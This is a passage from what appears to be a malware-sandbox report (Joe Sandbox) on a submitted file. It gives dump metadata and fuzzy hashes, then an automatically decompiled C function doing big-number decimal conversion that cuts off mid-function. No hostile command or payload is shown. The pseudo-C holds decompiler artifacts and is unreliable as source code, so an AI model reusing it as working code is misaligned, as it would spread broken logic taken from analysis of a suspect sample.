Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 94c787029f85cbf85f3b5948e3fa3b2c1cb45dd2bfbe4262466263f124307d45
Instruction ID: fbfd534b70f179e91b149b2920083c2ccf6a6977b51616c29e6949b1f66ddd2d
Opcode Fuzzy Hash: 94c787029f85cbf85f3b5948e3fa3b2c1cb45dd2bfbe4262466263f124307d45
Instruction Fuzzy Hash: A1E09AB6D4020DAADB01DFE4C542BEFBBB8AB14300F508027E205E7141EB749785CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001C226A Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E001C226A(signed int __edx, void* __edi, void* __eflags, signed char _a4, signed int _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1868;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				char _v1881;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				signed int _v1900;
				signed int _v1904;
				signed int _v1908;
				intOrPtr _v1912;
				signed int* _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				signed int _v1932;
				signed int _v1936;
				char _v1944;
				signed int _v1952;
				signed int _v1956;
				char _v2416;
				signed int _v2420;
				signed int _v2448;
				void* __ebx;
				void* __esi;
				signed int _t802;
				intOrPtr _t812;
				signed int _t819;
				signed int _t825;
				void* _t829;
				signed int _t830;
				intOrPtr _t836;
				void* _t837;
				signed int _t843;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t853;
				signed int _t855;
				signed int _t857;
				signed int _t858;
				signed int _t863;
				signed int _t864;
				signed int _t869;
				signed int _t871;
				signed int _t872;
				signed int _t879;
				signed int _t880;
				signed int _t888;
				signed int _t891;
				signed int _t896;
				signed int* _t899;
				signed int _t903;
				signed int _t914;
				signed int _t915;
				signed int _t917;
				signed int _t918;
				char* _t919;
				signed int _t922;
				signed int _t928;
				signed int _t930;
				signed int _t934;
				signed int _t942;
				signed int _t945;
				signed int _t948;
				signed int _t951;
				signed int _t960;
				signed int _t961;
				signed int _t964;
				signed int _t977;
				signed int _t978;
				signed int _t980;
				signed int _t981;
				signed int* _t982;
				signed int _t985;
				signed int* _t988;
				signed int _t991;
				signed int _t993;
				signed int _t998;
				signed int _t1006;
				signed int _t1009;
				signed int _t1013;
				signed int _t1016;
				signed int _t1025;
				intOrPtr _t1030;
				signed int _t1031;
				signed int _t1037;
				void* _t1045;
				signed int _t1046;
				signed int _t1047;
				signed int _t1048;
				signed int* _t1051;
				signed int _t1059;
				signed int _t1063;
				signed int _t1065;
				signed int _t1070;
				void* _t1076;
				signed int _t1077;
				signed int _t1078;
				signed int _t1079;
				signed int _t1082;
				signed int _t1087;
				signed int _t1088;
				signed int _t1092;
				signed int _t1094;
				signed int _t1099;
				signed int _t1101;
				signed int _t1102;
				void* _t1105;
				signed char _t1106;
				signed int _t1112;
				signed int _t1113;
				signed int _t1115;
				signed int _t1122;
				void* _t1127;
				signed char _t1133;
				intOrPtr* _t1136;
				signed int _t1141;
				signed int _t1142;
				void* _t1144;
				signed int _t1147;
				signed int _t1149;
				signed int _t1150;
				signed int _t1151;
				signed int _t1158;
				signed int _t1162;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				signed int _t1167;
				signed int* _t1169;
				signed int _t1170;
				signed int _t1174;
				signed int _t1175;
				signed int _t1176;
				signed int _t1177;
				signed int _t1179;
				signed int _t1181;
				signed int _t1182;
				signed int _t1186;
				signed int _t1187;
				unsigned int _t1188;
				unsigned int _t1192;
				unsigned int _t1195;
				signed int _t1196;
				signed int _t1199;
				signed int* _t1202;
				signed int _t1205;
				void* _t1207;
				unsigned int _t1208;
				signed int _t1209;
				signed int _t1212;
				signed int* _t1215;
				signed int _t1218;
				signed char _t1220;
				signed int _t1227;
				signed int _t1228;
				signed int _t1229;
				signed int _t1230;
				signed int _t1233;
				signed int _t1235;
				signed int _t1237;
				char _t1240;
				signed int _t1242;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				void* _t1255;
				signed int _t1256;
				signed int _t1258;
				signed int _t1263;
				signed int _t1267;
				void* _t1268;
				intOrPtr _t1269;
				void* _t1272;
				unsigned int _t1275;
				signed int _t1276;
				void* _t1277;
				signed int _t1279;
				signed int _t1280;
				signed int _t1281;
				signed int _t1282;
				signed int _t1285;
				signed int _t1286;
				signed int _t1287;
				signed int _t1288;
				signed int _t1289;
				signed int _t1292;
				signed int _t1293;
				signed int _t1294;
				signed int _t1295;
				void* _t1296;
				void* _t1299;
				signed int _t1301;
				signed int _t1305;
				signed int* _t1307;
				signed int _t1311;
				signed int _t1312;
				signed int _t1315;
				signed int _t1317;
				signed int _t1318;
				signed int _t1320;
				void* _t1323;
				void* _t1324;
				signed int _t1326;
				signed int _t1327;
				signed int _t1328;
				signed int _t1330;
				signed int _t1331;
				signed int _t1332;
				signed int _t1334;
				signed int _t1344;
				void* _t1346;
				signed char* _t1347;
				signed char* _t1348;
				signed int _t1352;
				signed char _t1360;

				_t1268 = __edi;
				_t1227 = __edx;
				_t802 =  *0x1d5010; // 0x8121a627
				_v8 = _t802 ^ _t1344;
				_v1932 = _a20;
				_v1888 = _a24;
				E001C5132(__eflags,  &_v1952);
				_t1122 = 1;
				if((_v1952 & 0x0000001f) != 0x1f) {
					E001C519A(__eflags,  &_v1952);
					_v1944 = 1;
				} else {
					_v1944 = 0;
				}
				_t1315 = _a8;
				_push(_t1268);
				_t1269 = 0x20;
				_t1352 = _t1315;
				if(_t1352 > 0 || _t1352 >= 0 && _a4 >= 0) {
					_t812 = _t1269;
				} else {
					_t812 = 0x2d;
				}
				_t1136 = _v1932;
				 *_t1136 = _t812;
				 *((intOrPtr*)(_t1136 + 8)) = _v1888;
				E001B5B9F( &_v1956, 0, 0);
				_t1347 = _t1346 + 0xc;
				if((_t1315 & 0x7ff00000) != 0) {
					L12:
					_t819 = E001B6533( &_a4);
					__eflags = _t819;
					if(_t819 == 0) {
						L24:
						_v1936 = _v1936 & 0x00000000;
						_a8 = _t1315 & 0x7fffffff;
						_t1360 = _a4;
						asm("fst qword [ebp-0x774]");
						_t1317 = _v1908;
						_v1928 = _a12 + 1;
						_t1141 = _t1317 >> 0x14;
						_t825 = _t1141 & 0x000007ff;
						__eflags = _t825;
						if(_t825 != 0) {
							_t825 = 0;
							_t1228 = 0x100000;
							_t41 =  &_v1868;
							 *_t41 = _v1868 & 0;
							__eflags =  *_t41;
						} else {
							_t1228 = 0;
							_v1868 = _t1122;
						}
						_t1318 = _t1317 & 0x000fffff;
						_v1924 = _v1912 + _t825;
						asm("adc esi, edx");
						_t1142 = _t1141 & 0x000007ff;
						_v1872 = _v1868 + _t1142;
						E001C51F0(_t1142, _t1360);
						_push(_t1142);
						 *_t1347 = _t1360;
						_t829 = E001C5300(_t1142);
						_t1144 = _t1142;
						_t830 = L001C6340(_t829, _t1122, _t1144, _t1228);
						_v1904 = _t830;
						_t1272 = 0x20;
						__eflags = _t830 - 0x7fffffff;
						if(_t830 == 0x7fffffff) {
							L29:
							__eflags = 0;
							_v1904 = 0;
						} else {
							__eflags = _t830 - 0x80000000;
							if(_t830 == 0x80000000) {
								goto L29;
							}
						}
						_t1229 = _v1872;
						__eflags = _t1318;
						_v468 = _v1924;
						_v464 = _t1318;
						_t1147 = (0 | _t1318 != 0x00000000) + 1;
						_v1868 = _t1147;
						_v472 = _t1147;
						__eflags = _t1229 - 0x433;
						if(_t1229 < 0x433) {
							__eflags = _t1229 - 0x35;
							if(_t1229 == 0x35) {
								L100:
								__eflags = _t1318;
								_t211 =  &_v1908;
								 *_t211 = _v1908 & 0x00000000;
								__eflags =  *_t211;
								_t836 =  *((intOrPtr*)(_t1344 + 4 + (0 | _t1318 != 0x00000000) * 4 - 0x1d4));
								asm("bsr eax, eax");
								if( *_t211 == 0) {
									_t837 = 0;
									__eflags = 0;
								} else {
									_t837 = _t836 + 1;
								}
								__eflags = _t1272 - _t837 - _t1122;
								asm("sbb esi, esi");
								_t1320 =  ~_t1318 + _t1147;
								__eflags = _t1320 - 0x73;
								if(_t1320 <= 0x73) {
									_t1230 = _t1320 - 1;
									__eflags = _t1230 - 0xffffffff;
									if(_t1230 != 0xffffffff) {
										_t1296 = _t1230 - 1;
										while(1) {
											__eflags = _t1230 - _t1147;
											if(_t1230 >= _t1147) {
												_t1025 = 0;
												__eflags = 0;
											} else {
												_t1025 =  *(_t1344 + _t1230 * 4 - 0x1d0);
											}
											__eflags = _t1296 - _t1147;
											if(_t1296 >= _t1147) {
												_t1188 = 0;
												__eflags = 0;
											} else {
												_t1188 =  *(_t1344 + _t1230 * 4 - 0x1d4);
											}
											 *(_t1344 + _t1230 * 4 - 0x1d0) = _t1188 >> 0x0000001f | _t1025 + _t1025;
											_t1230 = _t1230 - 1;
											_t1296 = _t1296 - 1;
											__eflags = _t1230 - 0xffffffff;
											if(_t1230 == 0xffffffff) {
												goto L115;
											}
											_t1147 = _v472;
										}
									}
									L115:
									_v472 = _t1320;
								} else {
									_v1400 = _v1400 & 0x00000000;
									_v472 = _v472 & 0x00000000;
									E001B1F5E( &_v468, 0x1cc,  &_v1396, 0);
									_t1347 =  &(_t1347[0x10]);
								}
								_t1275 = 0x434 >> 5;
								E001AAF60(0x434 >> 5,  &_v1396, 0, 0x434);
								__eflags = 1;
								 *(_t1344 + 0xbad63d) = 1 << (0x00000434 - _v1872 & 0x0000001f);
							} else {
								_v1396 = _v1396 & 0x00000000;
								_v1392 = 0x100000;
								_v1400 = 2;
								__eflags = _t1318;
								if(_t1318 != 0) {
									_t1255 = 0;
									__eflags = 0;
									while(1) {
										_t1030 =  *((intOrPtr*)(_t1344 + _t1255 - 0x570));
										__eflags = _t1030 -  *((intOrPtr*)(_t1344 + _t1255 - 0x1d0));
										if(_t1030 !=  *((intOrPtr*)(_t1344 + _t1255 - 0x1d0))) {
											goto L100;
										}
										_t1255 = _t1255 + 4;
										__eflags = _t1255 - 8;
										if(_t1255 != 8) {
											continue;
										} else {
											__eflags = 0;
											asm("bsr eax, esi");
											_v1908 = 0;
											if(0 == 0) {
												_t1031 = 0;
											} else {
												_t1031 = _t1030 + 1;
											}
											__eflags = _t1272 - _t1031 - 2;
											asm("sbb esi, esi");
											_t1334 =  ~_t1318 + _t1147;
											__eflags = _t1334 - 0x73;
											if(_t1334 <= 0x73) {
												_t1256 = _t1334 - 1;
												__eflags = _t1256 - 0xffffffff;
												if(_t1256 != 0xffffffff) {
													_t1299 = _t1256 - 1;
													while(1) {
														__eflags = _t1256 - _t1147;
														if(_t1256 >= _t1147) {
															_t1037 = 0;
														} else {
															_t1037 =  *(_t1344 + _t1256 * 4 - 0x1d0);
														}
														__eflags = _t1299 - _t1147;
														if(_t1299 >= _t1147) {
															_t1192 = 0;
														} else {
															_t1192 =  *(_t1344 + _t1256 * 4 - 0x1d4);
														}
														 *(_t1344 + _t1256 * 4 - 0x1d0) = _t1192 >> 0x0000001e | _t1037 << 0x00000002;
														_t1256 = _t1256 - 1;
														_t1299 = _t1299 - 1;
														__eflags = _t1256 - 0xffffffff;
														if(_t1256 == 0xffffffff) {
															goto L98;
														}
														_t1147 = _v472;
													}
												}
												L98:
												_v472 = _t1334;
											} else {
												_v1400 = 0;
												_v472 = 0;
												E001B1F5E( &_v468, 0x1cc,  &_v1396, 0);
												_t1347 =  &(_t1347[0x10]);
											}
											_t1275 = 0x435 >> 5;
											E001AAF60(0x435 >> 5,  &_v1396, 0, 0x435);
											 *(_t1344 + 0xbad63d) = 1 << (0x00000435 - _v1872 & 0x0000001f);
										}
										goto L117;
									}
								}
								goto L100;
							}
							L117:
							_t843 = _t1275 + 1;
							_t1323 = 0x1cc;
							_v1400 = _t843;
							_v936 = _t843;
							E001B1F5E( &_v932, 0x1cc,  &_v1396, _t843 << 2);
							_t1348 =  &(_t1347[0x1c]);
							_t1122 = 1;
							__eflags = 1;
						} else {
							_v1396 = _v1396 & 0x00000000;
							_v1392 = 0x100000;
							_v1400 = 2;
							__eflags = _t1318;
							if(_t1318 == 0) {
								L57:
								_t1195 = _t1229 - 0x432;
								_t1196 = _t1195 & 0x0000001f;
								_v1880 = _t1195 >> 5;
								_v1896 = _t1196;
								_v1924 = _t1272 - _t1196;
								_t1045 = E001C6170(_t1122, _t1272 - _t1196, 0);
								_t1258 = _v1868;
								_t1046 = _t1045 - 1;
								_t130 =  &_v1908;
								 *_t130 = _v1908 & 0x00000000;
								__eflags =  *_t130;
								_v1876 = _t1046;
								_t1047 =  !_t1046;
								_v1920 = _t1047;
								asm("bsr eax, ecx");
								if( *_t130 == 0) {
									_t138 =  &_v1868;
									 *_t138 = _v1868 & 0x00000000;
									__eflags =  *_t138;
								} else {
									_v1868 = _t1047 + 1;
								}
								_t1199 = _v1880;
								_t1323 = 0x1cc;
								_t1048 = _t1199 + _t1258;
								__eflags = _t1048 - 0x73;
								if(_t1048 <= 0x73) {
									__eflags = _t1272 - _v1868 - _v1896;
									asm("sbb eax, eax");
									_t1051 =  ~_t1048 + _t1199 + _t1258;
									_v1916 = _t1051;
									__eflags = _t1051 - 0x73;
									if(_t1051 > 0x73) {
										goto L61;
									} else {
										_t1301 = _t1199 - 1;
										_t1059 = _t1051 - 1;
										_v1900 = _t1301;
										_v1872 = _t1059;
										__eflags = _t1059 - _t1301;
										if(_t1059 != _t1301) {
											_t1305 = _t1059 - _t1199;
											__eflags = _t1305;
											_t1202 =  &(( &_v472)[_t1305]);
											_v1892 = _t1202;
											while(1) {
												__eflags = _t1305 - _t1258;
												if(_t1305 >= _t1258) {
													_t1063 = 0;
													__eflags = 0;
												} else {
													_t1063 = _t1202[1];
												}
												_v1868 = _t1063;
												_t158 = _t1305 - 1; // -4
												__eflags = _t158 - _t1258;
												if(_t158 >= _t1258) {
													_t1065 = 0;
													__eflags = 0;
												} else {
													_t1065 =  *_t1202;
												}
												_t1205 = _v1872;
												 *(_t1344 + _t1205 * 4 - 0x1d0) = (_t1065 & _v1920) >> _v1924 | (_v1868 & _v1876) << _v1896;
												_t1070 = _t1205 - 1;
												_t1202 = _v1892 - 4;
												_v1872 = _t1070;
												_t1305 = _t1305 - 1;
												_v1892 = _t1202;
												__eflags = _t1070 - _v1900;
												if(_t1070 == _v1900) {
													break;
												}
												_t1258 = _v472;
											}
											_t1199 = _v1880;
										}
										__eflags = _t1199;
										if(_t1199 != 0) {
											__eflags = 0;
											memset( &_v468, 0, _t1199 << 2);
											_t1347 =  &(_t1347[0xc]);
										}
										_v472 = _v1916;
									}
								} else {
									L61:
									_v1400 = 0;
									_v472 = 0;
									E001B1F5E( &_v468, _t1323,  &_v1396, 0);
									_t1347 =  &(_t1347[0x10]);
								}
								_v1396 = 2;
								_push(4);
							} else {
								_t1207 = 0;
								__eflags = 0;
								while(1) {
									__eflags =  *((intOrPtr*)(_t1344 + _t1207 - 0x570)) -  *((intOrPtr*)(_t1344 + _t1207 - 0x1d0));
									if( *((intOrPtr*)(_t1344 + _t1207 - 0x570)) !=  *((intOrPtr*)(_t1344 + _t1207 - 0x1d0))) {
										goto L57;
									}
									_t1207 = _t1207 + 4;
									__eflags = _t1207 - 8;
									if(_t1207 != 8) {
										continue;
									} else {
										_t1208 = _t1229 - 0x431;
										_t1209 = _t1208 & 0x0000001f;
										_v1880 = _t1208 >> 5;
										_v1896 = _t1209;
										_v1876 = _t1272 - _t1209;
										_t1076 = E001C6170(_t1122, _t1272 - _t1209, 0);
										_t1263 = _v1868;
										_t1077 = _t1076 - 1;
										_t70 =  &_v1908;
										 *_t70 = _v1908 & 0x00000000;
										__eflags =  *_t70;
										_v1900 = _t1077;
										_t1078 =  !_t1077;
										_v1924 = _t1078;
										asm("bsr eax, ecx");
										if( *_t70 == 0) {
											_t78 =  &_v1868;
											 *_t78 = _v1868 & 0x00000000;
											__eflags =  *_t78;
										} else {
											_v1868 = _t1078 + 1;
										}
										_t1212 = _v1880;
										_t1323 = 0x1cc;
										_t1079 = _t1212 + _t1263;
										__eflags = _t1079 - 0x73;
										if(_t1079 <= 0x73) {
											__eflags = _t1272 - _v1868 - _v1896;
											asm("sbb eax, eax");
											_t1082 =  ~_t1079 + _t1212 + _t1263;
											_v1920 = _t1082;
											__eflags = _t1082 - 0x73;
											if(_t1082 > 0x73) {
												goto L39;
											} else {
												_t1307 = _t1212 - 1;
												_t1088 = _t1082 - 1;
												_v1916 = _t1307;
												_v1872 = _t1088;
												__eflags = _t1088 - _t1307;
												if(_t1088 != _t1307) {
													_t1311 = _t1088 - _t1212;
													__eflags = _t1311;
													_t1215 =  &(( &_v472)[_t1311]);
													_v1892 = _t1215;
													while(1) {
														__eflags = _t1311 - _t1263;
														if(_t1311 >= _t1263) {
															_t1092 = 0;
															__eflags = 0;
														} else {
															_t1092 = _t1215[1];
														}
														_v1868 = _t1092;
														_t98 = _t1311 - 1; // -4
														__eflags = _t98 - _t1263;
														if(_t98 >= _t1263) {
															_t1094 = 0;
															__eflags = 0;
														} else {
															_t1094 =  *_t1215;
														}
														_t1218 = _v1872;
														 *(_t1344 + _t1218 * 4 - 0x1d0) = (_t1094 & _v1924) >> _v1876 | (_v1868 & _v1900) << _v1896;
														_t1099 = _t1218 - 1;
														_t1215 = _v1892 - 4;
														_v1872 = _t1099;
														_t1311 = _t1311 - 1;
														_v1892 = _t1215;
														__eflags = _t1099 - _v1916;
														if(_t1099 == _v1916) {
															break;
														}
														_t1263 = _v472;
													}
													_t1212 = _v1880;
												}
												__eflags = _t1212;
												if(_t1212 != 0) {
													__eflags = 0;
													memset( &_v468, 0, _t1212 << 2);
													_t1347 =  &(_t1347[0xc]);
												}
												_v472 = _v1920;
											}
										} else {
											L39:
											_v1400 = 0;
											_v472 = 0;
											E001B1F5E( &_v468, _t1323,  &_v1396, 0);
											_t1347 =  &(_t1347[0x10]);
										}
										_t1087 = 4;
										_v1396 = _t1087;
										_push(_t1087);
									}
									goto L56;
								}
								goto L57;
							}
							L56:
							_v1392 = _v1392 & 0x00000000;
							_push( &_v1396);
							_v936 = _t1122;
							_push(_t1323);
							_push( &_v932);
							_v1400 = _t1122;
							E001B1F5E();
							_t1348 =  &(_t1347[0x10]);
						}
						_t848 = _v1904;
						_t1149 = 0xa;
						_v1924 = _t1149;
						__eflags = _t848;
						if(_t848 < 0) {
							_t849 =  ~_t848;
							_t850 = _t849 / _t1149;
							_v1916 = _t850;
							_t1150 = _t849 % _t1149;
							_v1908 = _t1150;
							__eflags = _t850;
							if(_t850 == 0) {
								L250:
								__eflags = _t1150;
								if(_t1150 != 0) {
									_t896 =  *(0x1ca144 + _t1150 * 4);
									_v1908 = _t896;
									__eflags = _t896;
									if(_t896 == 0) {
										L262:
										__eflags = 0;
										_push(0);
										_v472 = 0;
										_v2420 = 0;
										goto L263;
									} else {
										__eflags = _t896 - _t1122;
										if(_t896 != _t1122) {
											_t1165 = _v472;
											__eflags = _t1165;
											if(_t1165 != 0) {
												_v1876 = _v1876 & 0x00000000;
												_t1282 = 0;
												__eflags = 0;
												do {
													_t1244 = _t896 *  *(_t1344 + _t1282 * 4 - 0x1d0) >> 0x20;
													 *(_t1344 + _t1282 * 4 - 0x1d0) = _t896 *  *(_t1344 + _t1282 * 4 - 0x1d0) + _v1876;
													_t896 = _v1908;
													asm("adc edx, 0x0");
													_t1282 = _t1282 + 1;
													_v1876 = _t1244;
													__eflags = _t1282 - _t1165;
												} while (_t1282 != _t1165);
												__eflags = _t1244;
												if(_t1244 != 0) {
													_t903 = _v472;
													__eflags = _t903 - 0x73;
													if(_t903 >= 0x73) {
														goto L262;
													} else {
														 *(_t1344 + _t903 * 4 - 0x1d0) = _t1244;
														_v472 = _v472 + 1;
													}
												}
											}
										}
									}
								}
							} else {
								do {
									__eflags = _t850 - 0x26;
									if(_t850 > 0x26) {
										_t850 = 0x26;
									}
									_t1166 =  *(0x1ca0ae + _t850 * 4) & 0x000000ff;
									_v1880 = _t850;
									_v1400 = ( *(0x1ca0af + _t850 * 4) & 0x000000ff) + ( *(0x1ca0ae + _t850 * 4) & 0x000000ff);
									E001AAF60(_t1166 << 2,  &_v1396, 0, _t1166 << 2);
									_t914 = E001AA810( &(( &_v1396)[_t1166]), 0x1c97a8 + ( *(0x1ca0ac + _v1880 * 4) & 0x0000ffff) * 4, ( *(0x1ca0af + _t850 * 4) & 0x000000ff) << 2);
									_t1245 = _v1400;
									_t1348 =  &(_t1348[0x18]);
									_v1872 = _t1245;
									__eflags = _t1245 - _t1122;
									if(_t1245 > _t1122) {
										__eflags = _v472 - _t1122;
										if(_v472 > _t1122) {
											__eflags = _t1245 - _v472;
											_t1326 =  &_v1396;
											_t547 = _t1245 - _v472 > 0;
											__eflags = _t547;
											_t915 = _t914 & 0xffffff00 | _t547;
											if(_t547 >= 0) {
												_t1326 =  &_v468;
											}
											_v1892 = _t1326;
											__eflags = _t915;
											if(_t915 == 0) {
												_v1896 = _t1245;
												_t1245 = _v472;
												_v1872 = _t1245;
												_v1876 =  &_v1396;
											} else {
												_v1896 = _v472;
												_v1876 =  &_v468;
											}
											_t917 = 0;
											_t1285 = 0;
											_v1864 = 0;
											__eflags = _t1245;
											if(_t1245 == 0) {
												L244:
												_v472 = _t917;
												_t1323 = 0x1cc;
												_t918 = _t917 << 2;
												__eflags = _t918;
												_push(_t918);
												_t919 =  &_v1860;
												goto L245;
											} else {
												do {
													__eflags =  *(_t1326 + _t1285 * 4);
													if( *(_t1326 + _t1285 * 4) != 0) {
														_t1167 = 0;
														_t1327 = _t1285;
														_v1868 = 0;
														_v1900 = 0;
														__eflags = _v1896;
														if(_v1896 != 0) {
															_t1246 = 0;
															while(1) {
																__eflags = _t1327 - 0x73;
																if(_t1327 == 0x73) {
																	break;
																}
																__eflags = _t1327 - _t917;
																if(_t1327 == _t917) {
																	 *(_t1344 + _t1327 * 4 - 0x740) =  *(_t1344 + _t1327 * 4 - 0x740) & 0x00000000;
																	_t579 = _t1285 + 1; // 0x1
																	_t934 = _t579 + _t1167;
																	__eflags = _t934;
																	_v1864 = _t934;
																}
																_t930 =  *(_v1876 + _t1167 * 4);
																_t1170 = _v1892;
																_t1246 = _t930 *  *(_t1170 + _t1285 * 4) >> 0x20;
																asm("adc edx, 0x0");
																 *(_t1344 + _t1327 * 4 - 0x740) =  *(_t1344 + _t1327 * 4 - 0x740) + _t930 *  *(_t1170 + _t1285 * 4) + _v1868;
																_t917 = _v1864;
																asm("adc edx, 0x0");
																_t1167 = _v1900 + 1;
																_t1327 = _t1327 + 1;
																_v1868 = _t1246;
																_v1900 = _t1167;
																__eflags = _t1167 - _v1896;
																if(_t1167 != _v1896) {
																	continue;
																}
																break;
															}
															__eflags = _t1246;
															if(_t1246 != 0) {
																_t1169 =  &_v1860 + _t1327 * 4;
																_v1868 = _t1169;
																while(1) {
																	__eflags = _t1327 - 0x73;
																	if(_t1327 == 0x73) {
																		goto L240;
																	}
																	__eflags = _t1327 - _t917;
																	if(_t1327 == _t917) {
																		 *_t1169 =  *_t1169 & 0x00000000;
																		__eflags =  *_t1169;
																		_t609 = _t1327 + 1; // 0x1
																		_v1864 = _t609;
																	}
																	_v1868 = _v1868 + 4;
																	_t928 = _t1246;
																	_t1327 = _t1327 + 1;
																	_t1246 = 0;
																	 *_t1169 =  *_t1169 + _t928;
																	__eflags =  *_t1169;
																	_t917 = _v1864;
																	asm("adc edx, edx");
																	if( *_t1169 != 0) {
																		_t1169 = _v1868;
																		continue;
																	}
																	goto L240;
																}
															}
															L240:
															_t1245 = _v1872;
														}
														__eflags = _t1327 - 0x73;
														if(_t1327 == 0x73) {
															_t1323 = 0x1cc;
															goto L260;
														} else {
															_t1326 = _v1892;
															goto L243;
														}
													} else {
														__eflags = _t1285 - _t917;
														if(_t1285 == _t917) {
															 *(_t1344 + _t1285 * 4 - 0x740) =  *(_t1344 + _t1285 * 4 - 0x740) & 0x00000000;
															_t568 = _t1285 + 1; // 0x1
															_t917 = _t568;
															_v1864 = _t917;
														}
														goto L243;
													}
													goto L247;
													L243:
													_t1285 = _t1285 + 1;
													__eflags = _t1285 - _t1245;
												} while (_t1285 != _t1245);
												goto L244;
											}
										} else {
											_t1286 = _v468;
											_t1323 = 0x1cc;
											_v1936 = _t1286;
											_v472 = _t1245;
											E001B1F5E( &_v468, 0x1cc,  &_v1396, _t1245 << 2);
											_t1348 =  &(_t1348[0x10]);
											__eflags = _t1286;
											if(_t1286 != 0) {
												__eflags = _t1286 - _t1122;
												if(_t1286 == _t1122) {
													goto L246;
												} else {
													__eflags = _v472;
													if(_v472 == 0) {
														goto L246;
													} else {
														_t1174 = 0;
														_v1920 = _v472;
														_t1287 = 0;
														__eflags = 0;
														do {
															_t942 = _v1936;
															_t1247 = _t942 *  *(_t1344 + _t1287 * 4 - 0x1d0) >> 0x20;
															 *(_t1344 + _t1287 * 4 - 0x1d0) = _t942 *  *(_t1344 + _t1287 * 4 - 0x1d0) + _t1174;
															asm("adc edx, 0x0");
															_t1287 = _t1287 + 1;
															_t1174 = _t1247;
															__eflags = _t1287 - _v1920;
														} while (_t1287 != _v1920);
														__eflags = _t1174;
														if(_t1174 == 0) {
															goto L246;
														} else {
															_t945 = _v472;
															__eflags = _t945 - 0x73;
															if(_t945 >= 0x73) {
																L260:
																_v2420 = 0;
																_v472 = 0;
																E001B1F5E( &_v468, _t1323,  &_v2416, 0);
																_t1348 =  &(_t1348[0x10]);
																_t922 = 0;
															} else {
																 *(_t1344 + _t945 * 4 - 0x1d0) = _t1174;
																_v472 = _v472 + 1;
																goto L246;
															}
														}
													}
												}
											} else {
												_v2420 = 0;
												_v472 = 0;
												_push(0);
												_t919 =  &_v2416;
												L245:
												_push(_t919);
												_push(_t1323);
												_push( &_v468);
												E001B1F5E();
												_t1348 =  &(_t1348[0x10]);
												L246:
												_t922 = _t1122;
											}
										}
									} else {
										_t1288 = _v1396;
										__eflags = _t1288;
										if(_t1288 != 0) {
											__eflags = _t1288 - _t1122;
											if(_t1288 == _t1122) {
												goto L198;
											} else {
												__eflags = _v472;
												if(_v472 == 0) {
													goto L198;
												} else {
													_t1175 = 0;
													_v1936 = _v472;
													_t1328 = 0;
													__eflags = 0;
													do {
														_t948 = _t1288;
														_t1248 = _t948 *  *(_t1344 + _t1328 * 4 - 0x1d0) >> 0x20;
														 *(_t1344 + _t1328 * 4 - 0x1d0) = _t948 *  *(_t1344 + _t1328 * 4 - 0x1d0) + _t1175;
														asm("adc edx, 0x0");
														_t1328 = _t1328 + 1;
														_t1175 = _t1248;
														__eflags = _t1328 - _v1936;
													} while (_t1328 != _v1936);
													__eflags = _t1175;
													if(_t1175 == 0) {
														goto L198;
													} else {
														_t951 = _v472;
														__eflags = _t951 - 0x73;
														if(_t951 >= 0x73) {
															_v2420 = 0;
															_v472 = 0;
															E001B1F5E( &_v468, 0x1cc,  &_v2416, 0);
															_t1348 =  &(_t1348[0x10]);
															_t922 = 0;
															goto L199;
														} else {
															 *(_t1344 + _t951 * 4 - 0x1d0) = _t1175;
															_v472 = _v472 + 1;
															goto L198;
														}
													}
												}
											}
											goto L265;
										} else {
											__eflags = 0;
											_v2420 = 0;
											_v472 = 0;
											E001B1F5E( &_v468, 0x1cc,  &_v2416, 0);
											_t1348 =  &(_t1348[0x10]);
											L198:
											_t922 = _t1122;
										}
										L199:
										_t1323 = 0x1cc;
									}
									L247:
									__eflags = _t922;
									if(_t922 == 0) {
										_v2420 = _v2420 & 0x00000000;
										_v472 = _v472 & 0x00000000;
										_push(0);
										L263:
										_push( &_v2416);
										_t899 =  &_v468;
										goto L264;
									} else {
										goto L248;
									}
									goto L265;
									L248:
									_t850 = _v1916 - _v1880;
									__eflags = _t850;
									_v1916 = _t850;
								} while (_t850 != 0);
								_t1150 = _v1908;
								goto L250;
							}
						} else {
							_t960 = _t848 / _t1149;
							_v1876 = _t960;
							_t1176 = _t848 % _t1149;
							_v1936 = _t1176;
							__eflags = _t960;
							if(_t960 == 0) {
								L178:
								__eflags = _t1176;
								if(_t1176 != 0) {
									_t961 =  *(0x1ca144 + _t1176 * 4);
									_v1936 = _t961;
									__eflags = _t961;
									if(_t961 != 0) {
										__eflags = _t961 - _t1122;
										if(_t961 != _t1122) {
											_t1177 = _v936;
											__eflags = _t1177;
											if(_t1177 != 0) {
												_v1876 = _v1876 & 0x00000000;
												_t1289 = 0;
												__eflags = 0;
												do {
													_t1250 = _t961 *  *(_t1344 + _t1289 * 4 - 0x3a0) >> 0x20;
													 *(_t1344 + _t1289 * 4 - 0x3a0) = _t961 *  *(_t1344 + _t1289 * 4 - 0x3a0) + _v1876;
													_t961 = _v1936;
													asm("adc edx, 0x0");
													_t1289 = _t1289 + 1;
													_v1876 = _t1250;
													__eflags = _t1289 - _t1177;
												} while (_t1289 != _t1177);
												__eflags = _t1250;
												if(_t1250 != 0) {
													_t964 = _v936;
													__eflags = _t964 - 0x73;
													if(_t964 >= 0x73) {
														goto L180;
													} else {
